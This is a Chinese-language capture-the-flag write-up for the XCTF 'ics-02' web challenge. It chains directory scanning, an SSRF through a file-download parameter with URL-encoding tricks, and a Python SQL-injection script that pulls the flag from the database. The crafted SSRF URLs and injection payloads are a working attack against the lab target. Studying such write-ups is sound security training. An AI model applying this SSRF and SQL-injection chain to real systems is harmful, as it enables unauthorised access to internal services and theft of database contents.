攻防世界-web-ics-02(sql注入、ssrf、目錄掃描)
題目來源:XCTF 4th-CyberEarth
題目描述:工控雲管理系統的文件中心頁面,存在不易被發現的漏洞。
進入場景,如下,頁面有一個下載功能(點選paper),下載功能只能下載pdf檔案,會在dl引數加上.pdf。
目錄掃描可以得到secret目錄,該目錄檔案會被列出來。有兩個檔案,一個是secret.php一個是secret_debug.php。可以聯想到secret_debug是secret檔案的除錯檔案。
訪問secret.php檔案時,顯示如下,頁面提示“這裡是私密頁面1”,猜想還有私密頁面2。檢視頁面元素,發現頁面中有一個隱藏引數s,預設值為2
fuzz一下,發現s=3時,返回私密頁面2
當直接訪問secret_debug檔案的時候會提示,你的ip是多少,不能訪問。
聯想到ssrf漏洞,剛好這裡有一個下載功能,雖然只能下載pdf檔案,但是當你下載一個不存在的檔案的時候readfile函式還是會執行的。
根據secret檔案的引數可以帶入到secret_debug檔案裡面,構造一個請求測試一下
http://220.249.52.133:38789/download.php?dl=http://127.0.0.1/secret/secret_debug.php?s=3&txtfirst_name=A&txtmiddle_name=B&txtLast_name=C&txtname_suffix=D&txtdob=01/11/2019&txtdl_nmbr=9244034&txtRetypeDL=9244034
由於你的url形式是ip:port/download.php?dl=http://127.0.0.1/secret/secret_debug.php?s=3&txtfirst_name=.......這樣會導致在第一個&符號處被加上.pdf導致其餘引數無法傳入debug檔案裡面(如上圖所示),所以這裡要給特殊字元url編碼一次再請求,apache伺服器就會自動解密一次,這樣.pdf就會加在最後一個引數後面了(如下圖所示)。
http://220.249.52.133:38789/download.php?dl=http://127.0.0.1/secret/secret_debug.php?s%3D3%26txtfirst_name%3DA%26txtmiddle_name%3DB%26txtLast_name%3DC%26txtname_suffix%3DD%26txtdob%3D01%2F11%2F2019%26txtdl_nmbr%3D9244034%26txtRetypeDL%3D9244034
為了使.pdf不影響最後一個引數txtRetypeDL的值,我們可以在所有的引數之後加一個&,使.pdf加在&後,如下圖,註冊成功。系統回顯txtLast_name、txtfirst_name和txtdob引數的值。
http://220.249.52.133:38789/download.php?dl=http://127.0.0.1/secret/secret_debug.php?s%3D3%26txtfirst_name%3DA%26txtmiddle_name%3DB%26txtLast_name%3DC%26txtname_suffix%3DD%26txtdob%3D01%2F11%2F2019%26txtdl_nmbr%3D9244038%26txtRetypeDL%3D9244038%26
經過嘗試得到注入點,編寫指令碼得到flag。
import requests import random import urllib url = ' http://220.249.52.133:38789/download.php' # subquery = "database()" # ssrfw # subquery = "select group_concat(table_name) from information_schema.tables where table_schema='ssrfw'" # etcYssrf,users # subquery = "select group_concat(column_name) from information_schema.columns where table_name='cetcYssrf'" # secretName,value # subquery = "select secretName from cetcYssrf LIMIT 1" # secretname -> flag subquery = "select value from cetcYssrf LIMIT 1" # value -> flag{cpg9ssnu_OOOOe333eetc_2018} id = random.randint(1, 10000000) dl = ('http://127.0.0.1/secret/secret_debug.php?' + urllib.parse.urlencode({ "s": "3", "txtfirst_name": "A','b',("+subquery+"),'c'/*", "txtmiddle_name": "B", "txtLast_name": "C", "txtname_suffix": "D.", "txtdob": "*/,'01/10/2019", "txtdl_nmbr": id, "txtRetypeDL": id }) + "&") r = requests.get(url, params={"dl": dl}) print(r.text)
參考:官方writeup